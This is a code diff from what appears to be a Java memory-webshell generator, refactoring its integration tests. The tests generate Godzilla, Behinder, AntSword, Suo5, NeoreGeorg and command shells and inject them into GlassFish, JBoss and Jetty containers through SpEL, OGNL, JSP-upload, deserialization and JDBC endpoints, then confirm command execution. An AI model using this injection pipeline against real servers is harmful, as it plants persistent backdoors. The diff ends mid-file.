+    public static void shellInjectIsOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
         Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
         String shellUrl = urls.getLeft();
         String urlPattern = urls.getRight();
 
         ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
 
-        GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig);
+        MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig);
 
         packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
 
@@ -95,7 +92,7 @@ public class ShellAssertionTool {
     }
 
     @SneakyThrows
-    public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
+    public static void packerResultAndInject(MemShellResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
         String content = null;
         if (packer.getInstance() instanceof AgentJarPacker) {
             byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
@@ -135,40 +132,40 @@ public class ShellAssertionTool {
             ));
         } else {
             content = packer.getInstance().pack(generateResult.toClassPackerConfig());
-            assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
+            injectIsOk(url, shellType, shellTool, content, packer, appContainer);
             log.info("send inject payload successfully");
         }
     }
 
     @SneakyThrows
-    public static void assertShellIsOk(GenerateResult generateResult, String shellUrl, ShellTool shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
+    public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, ShellTool shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
         switch (shellTool) {
             case Godzilla:
-                testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
+                godzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
                 break;
             case Command:
                 if (shellType.endsWith(ShellType.WEBSOCKET)) {
-                    testWebSocketCommandIsOk(shellUrl, "id");
+                    webSocketCommandIsOk(shellUrl, "id");
                 } else {
-                    testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id");
+                    commandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id");
                 }
                 break;
             case Behinder:
-                testBehinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig()));
+                behinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig()));
                 break;
             case Suo5:
-                testSuo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig()));
+                suo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig()));
                 break;
             case AntSword:
-                testAntSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig()));
+                antSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig()));
                 break;
             case NeoreGeorg:
-                testNeoreGeorgIsOk(appContainer, pythonContainer, shellUrl, ((NeoreGeorgConfig) generateResult.getShellToolConfig()));
+                neoreGeorgIsOk(appContainer, pythonContainer, shellUrl, ((NeoreGeorgConfig) generateResult.getShellToolConfig()));
                 break;
         }
     }
 
-    private static void testNeoreGeorgIsOk(GenericContainer<?> container, GenericContainer<?> pythonContainer, String shellUrl, NeoreGeorgConfig shellToolConfig) throws Exception {
+    private static void neoreGeorgIsOk(GenericContainer<?> container, GenericContainer<?> pythonContainer, String shellUrl, NeoreGeorgConfig shellToolConfig) throws Exception {
         URL url = new URL(shellUrl);
         shellUrl = "http://app:" + container.getExposedPorts().stream().findFirst().get() + url.getPath();
         String stdout = pythonContainer.execInContainer("python", "/app/neoreg.py", "-k", "key", "-H", shellToolConfig.getHeaderName() + ": " + shellToolConfig.getHeaderValue(), "-u", shellUrl).getStdout();
@@ -176,7 +173,7 @@ public class ShellAssertionTool {
         assertTrue(stdout.contains("All seems fine"));
     }
 
-    public static void testGodzillaIsOk(String entrypoint, GodzillaConfig shellConfig) {
+    public static void godzillaIsOk(String entrypoint, GodzillaConfig shellConfig) {
         try (GodzillaManager godzillaManager = GodzillaManager.builder()
                 .entrypoint(entrypoint).pass(shellConfig.getPass())
                 .key(shellConfig.getKey()).header(shellConfig.getHeaderName()
@@ -189,7 +186,7 @@ public class ShellAssertionTool {
     }
 
     @SneakyThrows
-    public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig, String payload) {
+    public static void commandIsOk(String entrypoint, CommandConfig shellConfig, String payload) {
         OkHttpClient okHttpClient = new OkHttpClient();
         HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
                 .newBuilder()
@@ -207,12 +204,12 @@ public class ShellAssertionTool {
     }
 
     @SneakyThrows
-    public static void testWebSocketCommandIsOk(String entrypoint, String payload) {
+    public static void webSocketCommandIsOk(String entrypoint, String payload) {
         String response = BlockingJavaWebSocketClient.sendRequestWaitResponse(entrypoint, payload);
         assertTrue(response.contains("uid="));
     }
 
-    public static void testBehinderIsOk(String entrypoint, BehinderConfig shellConfig) {
+    public static void behinderIsOk(String entrypoint, BehinderConfig shellConfig) {
         BehinderManager behinderManager = BehinderManager.builder()
                 .entrypoint(entrypoint).pass(shellConfig.getPass())
                 .header(shellConfig.getHeaderName()
@@ -220,11 +217,11 @@ public class ShellAssertionTool {
         assertTrue(behinderManager.test());
     }
 
-    public static void testSuo5IsOk(String entrypoint, Suo5Config shellConfig) {
+    public static void suo5IsOk(String entrypoint, Suo5Config shellConfig) {
         assertTrue(Suo5Manager.test(entrypoint, shellConfig.getHeaderValue()));
     }
 
-    public static void testAntSwordIsOk(String entrypoint, AntSwordConfig shellConfig) {
+    public static void antSwordIsOk(String entrypoint, AntSwordConfig shellConfig) {
         AntSwordManager antSwordManager = AntSwordManager.builder()
                 .entrypoint(entrypoint)
                 .pass(shellConfig.getPass())
@@ -288,7 +285,7 @@ public class ShellAssertionTool {
         return shellToolConfig;
     }
 
-    public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) {
+    public static MemShellResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) {
         InjectorConfig injectorConfig = new InjectorConfig();
         if (StringUtils.isNotBlank(urlPattern)) {
             injectorConfig.setUrlPattern(urlPattern);
@@ -306,7 +303,7 @@ public class ShellAssertionTool {
         return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
     }
 
-    public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer<?> container) {
+    public static void injectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer<?> container) {
         switch (packer) {
             case JSP, ClassLoaderJSP, DefineClassJSP -> {
                 String uploadEntry = url + "/upload";
@@ -322,34 +319,34 @@ public class ShellAssertionTool {
                 VulTool.uploadJspFileToServer(uploadEntry, filename, content);
                 VulTool.urlIsOk(shellUrl);
             }
-            case ScriptEngine -> VulTool.postData(url + "/js", content);
-            case EL -> VulTool.postData(url + "/el", content);
-            case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postData(url + "/spel", content);
-            case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postData(url + "/ognl", content);
-            case MVEL -> VulTool.postData(url + "/mvel", content);
-            case JXPath -> VulTool.postData(url + "/jxpath", content);
-            case JEXL -> VulTool.postData(url + "/jexl2", content);
-            case Aviator -> VulTool.postData(url + "/aviator", content);
-            case Groovy -> VulTool.postData(url + "/groovy", content);
-            case Rhino -> VulTool.postData(url + "/rhino", content);
-            case BeanShell -> VulTool.postData(url + "/bsh", content);
-            case JinJava -> VulTool.postData(url + "/jinjava", content);
-            case Freemarker -> VulTool.postData(url + "/freemarker", content);
-            case Velocity -> VulTool.postData(url + "/velocity", content);
-            case JavaDeserialize -> VulTool.postData(url + "/java_deserialize", content);
-            case JavaCommonsBeanutils16 -> VulTool.postData(url + "/java_deserialize/cb161", content);
-            case JavaCommonsBeanutils17 -> VulTool.postData(url + "/java_deserialize/cb170", content);
-            case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content);
-            case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content);
-            case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content);
-            case JavaCommonsCollections3 -> VulTool.postData(url + "/java_deserialize/cc321", content);
-            case JavaCommonsCollections4 -> VulTool.postData(url + "/java_deserialize/cc40", content);
-            case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
-            case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
-            case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postData(url + "/xmlDecoder", content);
-            case Base64 -> VulTool.postData(url + "/b64", content);
+            case ScriptEngine -> VulTool.postIsOk(url + "/js", content);
+            case EL -> VulTool.postIsOk(url + "/el", content);
+            case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postIsOk(url + "/spel", content);
+            case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postIsOk(url + "/ognl", content);
+            case MVEL -> VulTool.postIsOk(url + "/mvel", content);
+            case JXPath -> VulTool.postIsOk(url + "/jxpath", content);
+            case JEXL -> VulTool.postIsOk(url + "/jexl2", content);
+            case Aviator -> VulTool.postIsOk(url + "/aviator", content);
+            case Groovy -> VulTool.postIsOk(url + "/groovy", content);
+            case Rhino -> VulTool.postIsOk(url + "/rhino", content);
+            case BeanShell -> VulTool.postIsOk(url + "/bsh", content);
+            case JinJava -> VulTool.postIsOk(url + "/jinjava", content);
+            case Freemarker -> VulTool.postIsOk(url + "/freemarker", content);
+            case Velocity -> VulTool.postIsOk(url + "/velocity", content);
+            case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content);
+            case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content);
+            case JavaCommonsBeanutils17 -> VulTool.postIsOk(url + "/java_deserialize/cb170", content);
+            case JavaCommonsBeanutils18 -> VulTool.postIsOk(url + "/java_deserialize/cb183", content);
+            case JavaCommonsBeanutils19 -> VulTool.postIsOk(url + "/java_deserialize/cb194", content);
+            case JavaCommonsBeanutils110 -> VulTool.postIsOk(url + "/java_deserialize/cb110", content);
+            case JavaCommonsCollections3 -> VulTool.postIsOk(url + "/java_deserialize/cc321", content);
+            case JavaCommonsCollections4 -> VulTool.postIsOk(url + "/java_deserialize/cc40", content);
+            case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content);
+            case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content);
+            case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
+            case Base64 -> VulTool.postIsOk(url + "/b64", content);
             case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
-            case H2, H2JS, H2Javac -> VulTool.postData(url + "/jdbc", content);
+            case H2, H2JS, H2Javac -> VulTool.postIsOk(url + "/jdbc", content);
             default -> throw new IllegalStateException("Unexpected value: " + packer);
         }
     }

integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java

@@ -45,7 +45,7 @@ public class VulTool {
     }
 
     @SneakyThrows
-    public static void postData(String uploadUrl, String data) {
+    public static void postIsOk(String uploadUrl, String data) {
         RequestBody requestBody = new FormBody.Builder()
                 .add("data", data)
                 .build();
@@ -59,6 +59,20 @@ public class VulTool {
         }
     }
 
+    @SneakyThrows
+    public static String post(String uploadUrl, String data) {
+        RequestBody requestBody = new FormBody.Builder()
+                .add("data", data)
+                .build();
+        Request request = new Request.Builder()
+                .header("Content-Type", "application/x-www-form-urlencoded")
+                .url(uploadUrl).post(requestBody)
+                .build();
+        try (Response response = new OkHttpClient().newCall(request).execute()) {
+            return response.body().string();
+        }
+    }
+
     @SneakyThrows
     public static void xxlJobExecutor(String url, String data) {
         OkHttpClient client = new OkHttpClient();

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.glassfish;
+package com.reajason.javaweb.integration.memshell.glassfish;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -25,7 +25,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -77,6 +77,6 @@ public class GlassFish3ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.glassfish;
+package com.reajason.javaweb.integration.memshell.glassfish;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -25,7 +25,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -77,6 +77,6 @@ public class GlassFish4ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.glassfish;
+package com.reajason.javaweb.integration.memshell.glassfish;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -69,6 +69,6 @@ public class GlassFish501ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish510ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.glassfish;
+package com.reajason.javaweb.integration.memshell.glassfish;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -70,6 +70,6 @@ public class GlassFish510ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish6ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.glassfish;
+package com.reajason.javaweb.integration.memshell.glassfish;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -70,6 +70,6 @@ public class GlassFish6ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish7ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.glassfish;
+package com.reajason.javaweb.integration.memshell.glassfish;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -69,6 +69,6 @@ public class GlassFish7ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss423ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jbossas;
+package com.reajason.javaweb.integration.memshell.jbossas;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -68,6 +68,6 @@ public class Jboss423ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss510ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jbossas;
+package com.reajason.javaweb.integration.memshell.jbossas;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -74,6 +74,6 @@ public class Jboss510ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss610ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jbossas;
+package com.reajason.javaweb.integration.memshell.jbossas;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -71,6 +71,6 @@ public class Jboss610ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbossas/Jboss711ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jbossas;
+package com.reajason.javaweb.integration.memshell.jbossas;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -74,6 +74,6 @@ public class Jboss711ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap6ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jbosseap;
+package com.reajason.javaweb.integration.memshell.jbosseap;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -68,6 +68,6 @@ public class JbossEap6ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jbosseap/JbossEap7ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jbosseap;
+package com.reajason.javaweb.integration.memshell.jbosseap;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -69,6 +69,6 @@ public class JbossEap7ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Undertow, shellType, shellTool, Opcodes.V1_6, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty10ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jetty;
+package com.reajason.javaweb.integration.memshell.jetty;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -69,6 +69,6 @@ public class Jetty10ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty11ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jetty;
+package com.reajason.javaweb.integration.memshell.jetty;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -72,6 +72,6 @@ public class Jetty11ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python);
+        shellInjectIsOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V17, packer, container, python);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.integration.jetty;
+package com.reajason.javaweb.integration.memshell.jetty;
 
 import com.reajason.javaweb.integration.TestCasesProvider;
 import com.reajason.javaweb.memshell.Server;
@@ -23,7 +23,7 @@ import java.util.stream.Stream;
 
 import static com.reajason.javaweb.integration.ContainerTool.*;
 import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
-import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
+import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
 import static org.hamcrest.MatcherAssert.assertThat;
 
 /**
@@ -72,6 +72,6 @@ public class Jetty12ee10ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V21, packer, container, python);
